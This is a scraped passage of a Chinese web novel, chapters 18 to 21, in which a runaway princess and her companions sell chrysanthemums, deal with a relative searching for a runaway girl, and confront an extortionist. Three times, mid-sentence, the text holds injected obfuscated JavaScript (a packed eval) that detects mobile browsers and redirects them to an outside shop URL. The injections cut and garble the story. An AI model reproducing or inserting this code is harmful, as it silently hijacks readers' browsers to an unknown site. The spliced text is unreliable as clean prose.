姜佑安心里窝着一团火,想跟袁竹大吵一架,自己是堂堂公主,有人伺候是天经地义的事,但抬眼看到阮荷瘦弱的身子,她的火气又泄了下去,确实,自己岁数大,身子也强壮,比阮荷多承担一些,也是天经地义的。 姜佑安不情不愿地拿回了铁锹,“我挖就是了。” 袁竹满意地笑了,“还行,还算有点志气。” “志气我当然有,你别把我看扁了,我不是怕累不想干活,只是嫌恶心而已,不就是挖粪堆吗?我闭着眼也能干。”姜佑安说道。 这时,一只苍白的、骨节分明的手拿过了姜佑安手中的铁锹,“我去挖吧。” 姜佑安转头看过去,“杨恩?你怎么来了?” 18. 再会 “我听袁姑娘说,今天下午要给菊花地施肥,正好陈爷爷那边没什么事,我就过来了。”杨恩说道。 袁竹从院子里出来,手上拿着一把铁锨和一个竹制撮箕,“杨恩也来了?”她把铁锨递给姜佑安,把撮箕交给阮荷,“你们先去挖,我去村里再借个铁锹来。” 见袁竹向村里走去,杨恩向姜佑安说道:“你去屋里歇着吧。” 姜佑安拿着铁锨在地上比划了两下,“我不回去,我得干活,不能让袁竹觉得我在偷懒。” “没事的,我来做就行了。”杨恩说道。 “你做是你做,我做是我做。”姜佑安看一眼远处袁竹的背影,“她这个人,分得可清了。” 杨恩也向村子的方向看去,“袁姑娘有时确实脾气比较大,你是怕她吗?” “我这个人,天不怕地不怕,怕她做什么?只不过,今天是我自己主动说要帮着干活的,不能言而无信。”姜佑安说道。 杨恩走到粪堆边,用铁锹挖地,阮荷教姜佑安用铁锨把土块铲起来,倒进撮箕里,姜佑安忍着恶心,把混杂着各种垃圾的土块倒进了撮箕里。 “说她脾气大吧,我说要去报复一下李贵,她却又不肯。”姜佑安说道。 “袁姑娘也有自己的考量吧,得罪小人,吃亏的可能是自己。”杨恩说道。 “她能忍,我可不能忍,那些来骚扰的男人都被我赶跑了,那个李贵,等哪天我一定会让他付出代价。”姜佑安说道。 阮荷在一旁扶着撮箕的把手,有些担心地看着姜佑安,“佑安姐姐,我没事的,还是算了吧。” 姜佑安冲阮荷眨了眨眼睛,笑着说道:“别担心,我会妥善处理的。” 袁竹借了铁锹回来,重新分了工,袁竹去菊花地里挖坑,杨恩把粪堆挖松,阮荷把土铲进去撮箕里,姜佑安把撮箕拎到菊花地里去,一一倒进菊花苗旁的坑里去,杨恩把整个粪堆挖了一遍之后,去了地里,把放了肥的坑填上。 直忙到傍晚,袁竹让阮荷先回去做饭,等阮荷在门口叫大家回去吃饭了,袁竹才收拾了东西回去。 杨恩回了陈大用那里,姜佑安一进了院门,就嚷嚷着要阮荷给她打水洗澡,非要洗干净了才肯吃饭。 袁竹没有理会她,自己洗洗手洗洗脸,就去吃饭了。 菊花地的肥上了两天才上完,自从参与了菊花地的农活,姜佑安也对菊花上了心。 袁家在大路右边,出了袁家的院门,沿着小路往右走,先是粪堆和菜园,再往右是一小片杂乱的花园,里面种着紫薇、木槿、月季、蔷薇、栀子和茉莉,再往右是一大片菊花地,三面包围着稻田。 姜佑安每天去打猎之前,都会去菊花地看一看,菊花的花骨朵慢慢显出颜色,散发着阵阵清香,日复一日,看着花朵逐渐盛开,真让人心情雀跃。 花开了,袁竹和阮荷小心地剪下花枝,挑着担子进城去卖。 卖花归来,袁竹满脸带笑,从担子里拿出一个纸包,“小阮,看这是什么?” 阮荷一看见那个纸包,就欢喜跑了过去,“是月饼!袁姐姐买月饼了。” 姜佑安有些惊讶,“都没打开,你怎么知道的?” “我爹每年中秋都会进城买这个,我记得可清楚了。”阮荷打开了纸包,骄傲地说道。 “我们这些人啊,只有过年过节才能吃两口点心,都盼着呢。”袁竹说。 姜佑安拿起一块,咬了一口,枣泥馅儿,甜甜的,“中秋节还没到呢,你怎么就买起月饼来了?就这么几块,今天就吃没了吧。” “吃吧,赶明儿再买。”袁竹高兴地说道。 “嗯?你今天怎么这么大方?”姜佑安感到奇怪。 杨恩在一旁解释道:“今天菊花卖得好,袁姑娘才要买点月饼回来,让大家都高兴高兴。” 姜佑安大口吃着月饼,许久没吃过糕点,这最普通的枣泥月饼,都让她觉得格外香甜,唉,太想念公主府里的糕点了,“一支花不过一文半文的,能卖多少钱,也值得这么高兴?” “菊花比其他花卖得贵些,白菊和□□,五文钱一支,红菊两文钱一支。”杨恩说道。 “五文一支?怪不得你那菊花地里,到处都是百花和黄花,红花都见得少。”姜佑安说道。 “那几棵红花,还是我自己喜欢才种的,城里人戴菊花、养菊花,都喜欢白色和黄色的。”袁竹说道。 姜佑安想起京城里簪花的风气,秋天确实是白黄两色的菊花比较多。 “菊花能卖这么贵,真好!”阮荷吃着香甜的月饼,感叹道:“要是能多种些菊花就好了。” “菊花不比紫薇、木槿花期长,就只能卖这一阵子,要是哪天突然下霜了,花就都没了,多种菊花,风险也大些。”袁竹说道。 “哦,原来是这样,袁姐姐懂得真多。”阮荷笑着说道。 “过两天花开得更多了,我们就一起去城里卖花吧,多卖一些,你们的冬衣就有着落了。”袁竹说道。 “冬衣我就不用了,陈爷爷给我找了他的衣服穿。”杨恩说。 “那太好了,又可以省一笔,到时候给老爷子割块肉吧。”袁竹说道。 “行,陈爷爷给我开了工钱,我去买就行。”杨恩说道。 “那好,你自己看着办吧。”袁竹去洗了洗手,也拿起一块月饼吃了起来。 过了几天,菊花开得繁盛,香气浓郁,袁竹找陈大用定制了一个卖花担子,四人一起去了城里卖花。 阮荷从出门开始就格外兴奋,城里热闹的商铺、行人的装束打扮,都让她感觉眼睛不够用了似的,看了左边又看右边,看了前面,又要转头看看后面。 看阮荷如此开心,其他三人也都笑了起来。 走街串巷地吆喝着卖花,不时有人招呼要买花,有要簪头的,有要别在衣襟上的,还有要买一束回家做清供的,生意果真红火。 停下来休息时,姜佑安见热闹的街市里人来人往,不管女男老少,都有头上簪着花的,她自幼就不爱簪花,鲜花插进头发里,总是很快就衰败了,让她觉得扫兴。 不过,此时看着人们鬓边鲜花盛开,衬着粉面红唇,倒觉得应景又喜庆。 姜佑安折下一朵白菊,插在阮荷的头上,阮荷看向袁竹,征求着意见,“这不太好吧,还要卖呢。” “没事,戴着吧,你戴着好看。”袁竹笑着说道。 阮荷微微低着头,手抚着花瓣,轻轻笑了,人面和菊花两相比看,真说不好花比人娇,还是人比花娇。 姜佑安又折了一朵□□,给杨恩簪上,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665237|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看了又看,觉得杨恩真有些温润公子的模样,不禁叹道:“你们这样的美人,埋没在乡间,真是可惜。” 杨恩笑了笑,“那姑娘觉得,该如何是好呢?” “该配王子皇孙、公主贵女。”姜佑安笑着说道。 杨恩笑道:“姑娘难道是要把我们当做贡品献出去?” 阮荷佯作生气道:“佑安姐姐又拿人家取笑。” “好了,别光顾着开玩笑,歇够了,就卖花去了。”袁竹说道。 袁竹和姜佑安各自挑着担子,吆喝着向前走,阮荷和杨恩跟在一旁。 两人本就长得好看,鬓边簪了菊花,更添风情,路过的人看了,都移不开眼,纷纷来买花,簪在鬓间。 有些大娘大爷还热情地问两人是不是一家人,有没有婚配,两人都不大说话,还是袁竹和姜佑安替两人应承。 菊花很快卖完了,四人走上了轻快的归家路,阮荷手上捧着一包月饼,脸上是止不住的笑意。 秋风渐冷,四个人换上秋衣,每天高高兴兴卖花去,心满意足回家来。 中秋节,袁竹买了月饼,割了猪肉,邀请陈大用和他孙子一起到袁家吃团圆饭,陈大用也没推辞,拎了一只鸡给袁竹,让阮荷炖了吃。 家鸡比野鸡肉嫩得多,再加上阮荷的手艺好,一盆鸡肉吃得一块都不剩,陈大用连连称赞,说以后得了鸡,还送到袁家来吃。 送走了客人,袁竹、姜佑安和阮荷坐在院子里看月亮,月亮又大又圆,遥远而美丽。 “不知道今天家里能不能吃上肉。”阮荷说道。 “家里少个人吃饭,说不定他们还能吃得更好了,你不用替他们担心。”袁竹说道。 “小阮想家了吗?”姜佑安问道。 “我离开家有两个月了,不知道我爹娘有没有找过我,不知道家里怎么样了。”阮荷轻声说道。 姜佑安抬头看着月亮,算一算日子,确实是有两个月了,和亲的队伍应该早就到北国了吧,自己出逃的事,怎么从没听人提起,也不见官府来寻人,这究竟是怎么回事? 阮荷看向姜佑安,“佑安姐姐也想家了吗?” “我只在吃不到好吃的,还有无聊的时候会想家,现在嘛,在这狭小的院子里,坐在硬邦邦的椅子上赏月,倒也不错。”姜佑安说道。 “有得吃、有得住就不错了,你还嫌弃这个,嫌弃那个的了。”袁竹说道。 一阵秋风吹过,姜佑安仰头望天,笑着说道,“不嫌弃,袁姐姐都要给我买料子做冬衣了,我怎么会嫌弃呢。” 袁竹站起身,搬起椅子向屋内走去,“天冷了,早点回去吧,别着凉了。” “哎。”阮荷应了一声,也搬着椅子进屋了。 独留姜佑安坐在院子里,看了好一阵子的月亮。 菊花一直卖到九月九,生意都很红火,重阳节第二天,袁竹说大家都辛苦了,要休息一天。 阮荷说想去河边看荷花,金球气爽,正好大家都无事,决定一起去河边走走。 快到河边时,姜佑安看见从小树林里走出来两个人,仔细一看,其中一个竟是上次猎到鹿时遇到的美貌公子。 姜佑安大喜,快步跑到了美貌公子的面前,“公子,你长得真好看,要不要去我家坐坐?” 19. 远亲 戴庭芳看着眼前的村姑,突然想起了在山脚下遇到的扛着鹿的女人,“是你?” 姜佑安灿然一笑,“是我,公子还记得我?你住在这附近吗?怎么最近都没有见到你?” 戴庭芳愣住了,那竟然不是梦?还是说自己又做梦了,梦到了上次梦境里的人? “公子。”姜佑安在戴庭芳眼前挥了挥手,“你在怎么了?” 见戴庭芳好像有些不对劲,一旁的小厮程祥也问道:“公子,你没事吧?” 也许是近日睡得多了,让他分不清自己是梦是醒,戴庭芳没有理会程祥,向姜佑安问道:“你为什么会在这里?” “我怎么不能在这里?”姜佑安笑了笑,“我就住在附近,所以才想邀请公子去家里坐坐,上次的事,我还想谢谢公子呢。” “上次的事?你也知道上次的事?”戴庭芳问道。 “我当然知道,上次我还想请你吃鹿肉,可惜你不愿意,怎么,公子都忘了?”姜佑安问道。 程祥听着两人你一言我一语的对话,感觉不可思议,“竟有这样的事!” 袁竹、阮荷和杨恩走了过来,袁竹开口问道:“你们在说什么呢?” 姜佑安回过头来,笑着说道:“我说要请这位公子去咱们家坐坐。” “你倒是不客气,真当我家是你家了啊。”袁竹说道。 姜佑安笑道:“大家都是一家人,你家当然是我家。” 戴庭芳见后面又来了两个女人一个男人,瞬间紧张起来,也不顾是不是梦,低头说了声告辞,就快步往山那边走去,程祥慌忙跟上。 “你跟他说什么了,他怎么害怕成这样?”杨恩问道。 姜佑安也很疑惑,“没说什么啊,我就夸他长得好看,邀请他去我家坐坐,不知怎的,他就突然走了。” 袁竹爽朗一笑,“你只看他长得好看,却不知道他是谁吧?” “你知道?”姜佑安反问道。 “我常年在城里行走,自然认识他。”袁竹说道。 “他是谁啊?”阮荷问道。 “他叫戴庭芳,是城里崇正书院院长的独子,从小家里管得严、看得紧,现在虽说也有二十来岁了,不过,除了他娘,他估计连其他女人的手都没碰过,你这样突然跑到他面前,又是夸他好看,又是邀请他去家里,他能不害怕吗?”袁竹说道。 姜佑安眉头轻皱,表示不屑,“我只说请他去家里坐坐,还没说要做别的呢,他这胆子也太小了。” “他们家的人呐,是本县出了名的老古板,最看重名声啊名节之类的东西,麻烦得很,你还是别去招惹他了。”袁竹说道。 “你越是不让我招惹,我越觉得心痒。”姜佑安看着戴庭芳的背影,捋了捋额间的碎发,轻笑道:“我倒要看看,若是坏了他的名声,他会作何反应。” “他作何反应我不知道,但你肯定要挨骂。”袁竹没好气地说道。 姜佑安不服气,“我还没说我要干什么,你怎么就知道我会挨骂?” “我比你大几岁,比你看得清,男女之间的那档子事,都是女人挨骂,不管你做了什么,也不管你做没做。”袁竹说道。 “这也太不公平了吧。”姜佑安说道。 “这世道,哪有什么公平,你能跟谁要公平?女人能好好活着就不错了,听我一句劝,崇正书院的人不是好惹的,闹出事来,,吃亏的是你自己。”袁竹语重心长地说道。 “哼!我不信!我偏要试试!”姜佑安说道。 “不听老人言,吃亏在眼前。”袁竹说道。 看到袁竹板着脸,姜佑安噗嗤一声笑了出来,“你才多大,就老人了?” 袁竹也笑了,“比你老就是了。” “行,不说这个了,老人家,咱们去看荷花吧。”姜佑安说道。 “这个季节应该没什么荷花了,说不定摘点莲蓬回去。”阮荷说道。 “也是,早知道把大木盆拿来了,多摘点莲蓬回去剥莲子吃。”袁竹说道。 四人兴致盎然地走到了河边,见荷叶还在水面挺立着,偶有一两朵晚开的荷花点缀其间,细细寻找长成的莲蓬,却不多见。 袁竹料想是已被附近的村民摘了去,四人在河边走了走,看看风景,又坐着休息了一阵子,才折返回去。 走到大路上,远远看见家门口有两个人,走近了发现,竟是戴庭芳和程祥。 戴庭芳面壁而立,程祥见有人过来,忙迎了上去,“打扰几位,请问旁边这户人家,可是卖花的袁家?” “是我家,你有什么事?”袁竹反问道。 程祥向袁竹拜了一拜,“贸然来访,还请袁娘子见谅,我家公子是想向袁娘子打听一下,您最近有没有见过一个姓阮的姑娘。” “姓阮?”袁竹看了一眼阮荷,见她也是茫然无知的样子,遂向程祥问道:“你们找阮姑娘做什么?” “我家公子戴庭芳和阮姑娘是远亲,我是他的小厮程祥,此番是受她家人嘱托,才到此地来寻阮姑娘的。”程祥说道。 “你说是远亲就是远亲了?你有什么证据?”袁竹说道。 程祥笑了笑,“阮姑娘确实在此地吧,袁娘子莫要多心,我家公子只是想知道阮姑娘近况如何,只要她平安就好。” “果然是书香门第,连一个小厮都如此彬彬有礼。”姜佑安推开了院门,“别在外面站着了,进来说话吧。” 袁竹想着家里人多,万一出了什么事,也不至于吃亏,便先进门去了,“什么彬彬有礼,我听着别扭得很。” 众人进了院门,只有戴庭芳还在门外墙边站着,姜佑安走了过去,“戴公子,你不进来吗?” 戴庭芳吃惊地回过头来,“姑娘怎么知道我姓戴?” “你家书院在本县应该挺出名的吧,我知道你是谁,也不稀奇,倒是你挺奇怪的,是你要来找人的,怎么又站在墙边,一句话都不说?”姜佑安问道。 戴庭芳随便找了个借口,“程祥聪明能干,交给他就行了。” “看来你对这个远亲并不十分关心,却要亲自来跑一趟,是令尊让公子来的?”姜佑安问道。 戴庭芳点了点头,“确实如姑娘所说,阮姑娘的父亲找到家父,托家父帮忙寻找女儿,家父帮忙寻找了一段时间,却一无所获,最近听说卖花的袁娘子身边的跟着的姑娘和阮姑娘十分相似,家父才让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665238|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我过来看看的。” “找到之后,你打算怎么办?”姜佑安问道。 “把她送还阮家。”戴庭芳说道。 众人在院子里听到了戴庭芳的话,阮荷用求救的眼神看向袁竹,袁竹微笑着安慰她,“你想回家,我不会拦着你,你不想走,我也不会赶你走,是去是留,你自己决定。” 阮荷从院子里走出去,声音小却坚定,“我不回去。” 戴庭芳抬眼看见了阮荷,赶忙低下头,转身面对墙壁。 “你知道小阮为什么要离开家吗?”姜佑安凑过去问道。 戴庭芳摇了摇头,“我不知道,据阮姑娘的父亲所说,阮姑娘是在六月中旬的一个早上,突然离家出走的,阮姑娘的父母还有弟弟妹妹都很担心她,希望她能早点回家。” “倘若小阮的父亲是要把她找回去,是要让她嫁人怎么办?”姜佑安问道。 戴庭芳有些犹豫,“父母之命媒妁之言,做儿女的,只能听从吧。” “倘若有富商要娶小阮为妾,阮父要小阮回去,只为把她送给富商,换取钱财,你又打算怎么办?”姜佑安追问道。 戴庭芳惊讶地看向姜佑安,“有这等事?” 姜佑安走过去,把阮荷牵了过来“这些我都是听小阮说的,不信,你可以问问她。” 戴庭芳赶紧把头转过去,不看两人,脸红成一片。 “我记得小时候,我爹曾经带我进城走亲戚,有一个亲戚家里有很多人在读书,后来我爹再也没有带我去过,刚才听袁姐姐说起,我才想起来,那里应该就是书院吧。”阮荷说道。 “是,家父也说阮姑娘幼时你曾经来过我家一次,你就是阮招娣?”戴庭芳面对着墙壁问道。 “她不叫招娣,她叫阮荷,荷花的荷。”袁竹站在阮荷身后说道。 听到又有人来,戴庭芳向旁边挪了两步,低声唤道:“程祥?” “公子,我在呢。”程祥走到戴庭芳身边,挡在了她和姜佑安之间,“诸位见谅,我家公子羞于跟女人说话,诸位有话对我说就行。” 姜佑安感到奇怪,“刚才不还说得好好的吗?” 程祥脸上也有些疑惑,“这我也不太清楚,总之,我家公子今天只是想确认阮姑娘的安危,如今知道她在这里,我们也就安心了。” 姜佑安探头去看戴庭芳,“戴公子,你还没说你打算怎么做呢。” 隔着程祥,戴庭芳觉得放松了许多,“我需要回去和家父商量一下。” “事关小阮下半辈子的幸福,你都不问问她是怎么想的?”姜佑安说道。 “姑娘说的是。”戴庭芳转过身来,眼睛看着地面,“阮姑娘,你有何打算?” 阮荷想了想,鼓足勇气说道:“我不想嫁人,我想和袁姐姐还有佑安姐姐生活在一起,请公子就当不知道我在这里,不要管我家的事了。” “如果事情真如刚才那位姑娘所说,我会跟家父说,让他不要再管了,打扰了。”戴庭芳行了一礼,匆匆向大路走去。 姜佑安快步跟上去,抓住了戴庭芳的胳膊,微笑着说道:“我叫姜佑安,戴公子,怎么这么着急就要走?进屋里坐会儿吧” 20. 分钱 戴庭芳吃了一惊,挣脱姜佑安的手,向后退了两步,“姑娘请自重。” 姜佑安毫不在意,笑了笑,“叫我姜姑娘,我姓姜,保佑的佑,平安的安。” 戴庭芳脸色微微有怒色,没理会她,叫上程祥,匆匆走了。 程祥觉得戴庭芳今天很是奇怪,跟在他后面,还不住地回头看姜佑安。 姜佑安挥着手大喊,“戴公子,后会有期!” 见戴庭芳都不回头看一眼,姜佑安有些疑惑,“他怎么好像有些讨厌我似的。” 袁竹走过来,“怎么?难道你还觉得他应该喜欢你?” “不应该吗?”姜佑安理直气壮地反问道。 袁竹笑了笑,“男人都是很势利眼的,但凡自己是个有胳膊有腿的,家里又有点小钱,谁不想找个漂亮的?你在男人眼里,估计就是个普通村姑,又不漂亮又没钱,男人怎么能看得上你?” “袁姑娘这话虽然在理,但未免有些太伤人了。”杨恩说道。 “佑安姐姐也很好看的。”阮荷说道。 姜佑安点点头,“那当然,我从来没觉得自己长得不漂亮,不过,就算不漂亮又怎么样?我喜欢他不就够了?” “喜欢?”袁竹翻了个白眼,“你喜欢他长得好看,他喜欢你什么?他要是不图你的钱,不图你漂亮,那就只能图你给他生孩子,以他的条件,找一个又好看又有钱,又能生孩子的女人也不难,他怎么会看上你?” “他非得图我点什么吗?就不能是单纯喜欢我这个人?”姜佑安说道。 “喜欢你这个人什么?”袁竹问道。 姜佑安笑了笑,骄傲地说道:“我从上到下,从里到外,都是个有魅力的女人吧。” 袁竹忍不住笑出声来,“男人可不会这么想,我看他见了阮荷,脸就红了,肯定是对小阮有意思,两个人又是远亲,两家知根知底,说不定他回去就要跟他爹说,他要娶小阮呢。” 姜佑安一想,确实有这个可能,笑着说道:“两个人的容貌是挺般配的,都是美人,怪不得是亲戚。” 阮荷听了直跺脚,“你们又取笑我!” “我看真有这个可能,阮姑娘的父亲只想要钱,如果戴家出了这个钱……阮姑娘还是要早做打算。”杨恩说道。 “我能有什么打算。”阮荷低下头,“要真像你们说的那样,我就只能嫁给他了。” 姜佑安走过去,搂住了阮荷的肩膀,“你愿意就嫁,不愿意就不嫁,谁都不能勉强你。” 袁竹握住了阮荷的手,“小阮,那些来求亲的男人,姜佑安是可以把他们都赶走,但你的态度也很重要,不要让别人决定你的人生,你不愿意,就说不愿意,不管你爹把你卖给了谁,只要你不愿意,就要想办法逃跑,永远不要认命。” “对,不要认命去嫁人,也不要寻短见,我们都要好好活着,只要活着,就有转机。”姜佑安说道。 阮荷点了点头,眼泪在眼眶里打转,“嗯,我知道了。” 天气越来越冷,不知道哪天就会下霜,菊花地里剩余的花不多了,阮荷在家里赶制冬衣,杨恩在陈大用家做木工,姜佑安上山去了,袁竹独自挑着担子进城卖花。 这天袁竹回来,好像心事重重的样子,吃过了午饭,她让姜佑安去把杨恩叫过来,又不说是因为什么事。 杨恩不明就里,跟着姜佑安到了袁家,就见袁竹拿出一个布口袋来,把里面的钱都倒在桌面上,铜板堆成一堆,袁竹数了一遍,分出一小半来,剩下的装回钱袋里。 三人不知道袁竹是要做什么,都默默地看着她。 袁竹把桌面上的钱分成了四份,边上两份是整串的,中间两份是散钱,“这里是卖菊花的钱还有我之前攒下来的一些,以后没有花卖,就只能靠这些钱过日子了。”袁竹说道。 阮荷觉得很开心,“有这么多钱,肯定能撑到明年春天。” 袁竹不置可否,“这布袋子里的钱,是咱们过日子的,我交给小阮保管,桌面上这些钱,我给你们分一分。” “我打的猎物卖了都没给我钱,你今天怎么这么大方,想着给我们分钱了?”姜佑安问道。 “毕竟这阵子卖菊花,你们也辛苦了。”袁竹把手摊在桌上,“我给你们分的钱也不多,一人一份,一份是一贯钱” “我就不用了,陈爷爷给我工钱了。”杨恩说道。 袁竹把最左边的一份推给杨恩,“木匠呢,是有活就有钱,没活就没钱,还不知道这个冬天是什么样,你先收着,用不用得上,再说。” 杨恩收了,“多谢袁姑娘。” “不客气。”袁竹又拨出一份来,“这一份是姜佑安的。” 姜佑安马上伸手去拿,袁竹挡住了她的手,从她的一份中大致分出一半来,堆在了最右边的那份里。 “你这是干什么?”姜佑安问道。 “小阮每日给你梳头,你每次用水都是她给你打水、倒水,你的衣服脏了,也她给你洗,给你晾,给你收,给你叠,上山衣服挂破了,也是小阮给你缝,这本都是该你自己做的,你却让小阮帮你,这一半的钱,是我替你付给小阮的。”袁竹说道。 姜佑安有些失落,小声埋怨道:“你怎么这么较真啊,这都是小阮主动要帮我的,我又没有说要付钱给她。” “这些小事,你自己也能做,以后都自己做,再分钱的时候,我就正常分给你。”袁竹说道。 阮荷小心地察看姜佑安的脸色,“袁姐姐,我没事的,你就还给佑安姐姐吧。” 袁竹板起脸来,“你不要替她说话,你们在我看来都是一样的,她既不是大小姐,也不是小孩子,你也不是她的丫鬟,她没有伺候你,你也不要伺候她。” 阮荷低下了头,轻声说道:“知道了。” 袁竹看向姜佑安,“以后自己的事自己做,把钱拿走吧。” “嗯。”姜佑安不情不愿地应了一声,把钱收了起来。 “这是我的那份。”袁竹把自己的那份也拨出一半来,和最右边的那份堆在一起,“也分一半给小阮。” 阮荷连忙摆手,“不用不用,袁姐姐不用给我。” 袁竹笑了笑,“你别拒绝,这是你应得的,自从你到我家来,我就没怎么做过饭了,家里四个人,光是一天三顿,做什么饭,炒什么菜,就够费心思的了,你还要在灶前烧火,热烘烘的满身汗。” “我也是有什么做什么,袁姐姐不嫌弃就好。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665239|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”阮荷笑着说道。 姜佑安故意气袁竹,“小阮做菜可好吃了,就连炒丝瓜都比袁竹炒得好吃。” 袁竹没有理会姜佑安,接着说道:“你还每天擦洗打扫,屋里屋外都干干净净,菜园也是你在打理,我去看了,一根杂草都没有,我进城的时候,你没闲着,我下地,你也跟着我一起下地干活,辛苦你了。” “下地干活,我也去了啊。”姜佑安说道。 “对,大家都是一样辛苦。”阮荷说道。 袁竹摇了摇头,“不一样,这些活说着轻松,真要干起来,也得费我不少功夫,虽说你我情同姐妹,但我也不能让妹妹白干活。” 阮荷在家的时候,干得活比现在多多了,做得好,是应该的,做得不好,就要被责怪,从没有人肯定她、称赞她,听了袁竹的话,阮荷的鼻子酸酸的,“姐姐肯收留我,就够了,我不用姐姐给我钱。” “我收留你,是把你当妹妹,不是当丫鬟,咱们四个人的家,独独你做了那么些活,这钱是你的辛苦换来的,拿着吧。”袁竹说道。 阮荷吸了吸鼻子,把钱归拢到一块,哽咽着说道:“我请你们吃月饼。” 姜佑安哈哈一笑,“好啊,正好我想去买双鞋,咱们一起去买月饼,不过,中秋都过了这么久了,还有月饼卖吗?” “不好说,可能会有吧。”袁竹把布口袋放在桌上,站起身来,“小阮,你先把你自己的钱收起来,然后把这些钱找个地方放,你们有用钱的地方,都先跟我说,我找小阮取钱。” “知道了,小阮,咱们明天就进城吧,要是没有月饼,就买点其他点心回来。”姜佑安挽着阮荷的胳膊说道。 杨恩把自己的那串钱递给姜佑安,“姜姑娘,我的钱给你使。” 姜佑安奇怪地看着杨恩,“为什么?” “我没有用钱的地方,姜姑娘想买鞋,还想买点心,收下这些,能宽裕一些。”杨恩说道。 袁竹没管他,自己进屋去了。 姜佑安有些犹豫,“你这可是无事献殷勤啊。” 杨恩笑得眼睛弯弯的,“姑娘对我有救命之恩,这点钱不算什么。” 姜佑安见了心情大好,“你之前好像说活着是为了报恩来着,这钱我不收,你就多活几年,慢慢报恩吧。” 阮荷放好了钱,从房间里走了出来,小声向姜佑安说道:“佑安姐姐,袁姐姐在屋里坐着发呆呢,我跟她说话,她都听不见。” “别是出了什么事吧?”杨恩说道。 “对啊。”姜佑安也觉得不对劲,“平时做菜多放点盐,她都要念叨,今天却主动给我们分钱,这太反常了,她是不是要离开这里?不行,我得去问问。” 姜佑安进屋时,袁竹还在发呆,姜佑安问她怎么了,她只说是太累了,要休息休息,姜佑安见她不肯说,也就没再问下去。 之后的几天,袁竹从城里回来,总一个人坐在那里,愁眉不展,不时还叹口气,姜佑安不放心,一再追问,她却什么都不肯说。 这天,姜佑安说要上山打猎,实则躲在墙边等袁竹出门,她就悄悄跟在后面,待袁竹卖完花,出了城,姜佑安看见一个五大三粗的男人,不紧不慢地跟在袁竹身后。 21. 地痞 袁竹走在前面,时不时侧头向后说两句话,两人看起来好像是熟人,姜佑安离得太远,听不清两人在说什么,她只好大着胆子,背着弓箭,慢慢向两人靠近。 姜佑安看见袁竹停下来,放下担子,给了男人一个什么东西,男人在手里掂量掂量,揣进了怀里。 又走近一些看,姜佑安听到了袁竹的声音,“你怎么还不走?” “这是今天的,前些日子,我看你的生意也好得很,也该给我分些才是。”男人说道。 “我家里有人生病了,赚的钱都用来看病抓药了,剩下的就只有这些了。”袁竹说道。 “你想骗我?”男人向袁竹走近了些,袁竹赶忙后退两步避开他。 姜佑安跑到了近旁,想袁竹问道:“袁竹,这人是谁啊?” 袁竹听见姜佑安的问话,大吃一惊,回过头来,脸色有些尴尬,“你怎么在这儿?他就是过路的人,找我问路的。” “过路的?”姜佑安狐疑地看向一旁的男人。 袁竹用眼神示意男人赶紧离开,“怎么走我都告诉你了,你怎么还不走?” 男人却不为所动,向姜佑安问道:“你是她什么人?” “这话应该我问你!你是什么人?”姜佑安问道。 “我?”男人哈哈一笑,脸上的横肉直颤,“你不认识我?我叫赵雄,和袁娘子是老熟人了。” 袁竹眉头紧蹙,表情很是嫌恶,“谁跟你是老熟人,快走!” 赵雄好像听到了什么笑话,笑得更开心了,“你让我走我就走,那我岂不是很没面子?” “你想干什么?”姜佑安问道。 赵雄向姜佑安摊开右手,“袁娘子已经把她身上的钱都给我了,你身上也有钱吧,交出来。” 这一句话,倒是解开了姜佑安的疑惑,“哦,原来是你来抢劫的。” 赵雄毫不在意,“随你怎么说,只要把钱留下就行。” 姜佑安把羊肉放在担子上,从背后拿出弓,搭上箭,对准了赵雄的眉心,“要把钱留下的是你,不然,我就让你见见红” 看到姜佑安持弓的架势,赵雄顿时慌了,向后退了两步,对着袁竹威胁道:“袁娘子,你一个寡妇,是要跟我作对吗?” 袁竹拉住了姜佑安的胳膊,“算了,钱就给他吧。” “我们辛辛苦苦挣来的钱,凭什么给他!”姜佑安不肯听从,弓箭下移,对准了赵雄的胸口,冷静地说道:“我这箭,前一阵子刚射死一只鹿,这么近的距离,我保证能把你的身体射穿,你要不要试试?” 赵雄黑着脸,从怀里掏出钱袋,狠狠扔在地上,“你们给我等着!”说罢,倒退着走了几步,见姜佑安收起弓箭,才赶忙转身跑了。 姜佑安长舒一口气,把箭插回箭囊里,“还好我今天带了弓箭,要不然,他长得这么壮实,我又不会拳脚功夫,我们肯定要吃亏。” 袁竹走过去,捡起了钱袋,揣进怀里,嘴上埋怨道:“谁要你来了?少给我招惹麻烦,比什么都强。” “我帮你讨回了钱袋,你怎么反倒埋怨我?”姜佑安不解地问道。 袁竹看了看赵雄的背影,转过头叹了一口气,“唉!他是个地痞无赖,惹了他,没什么好处。” 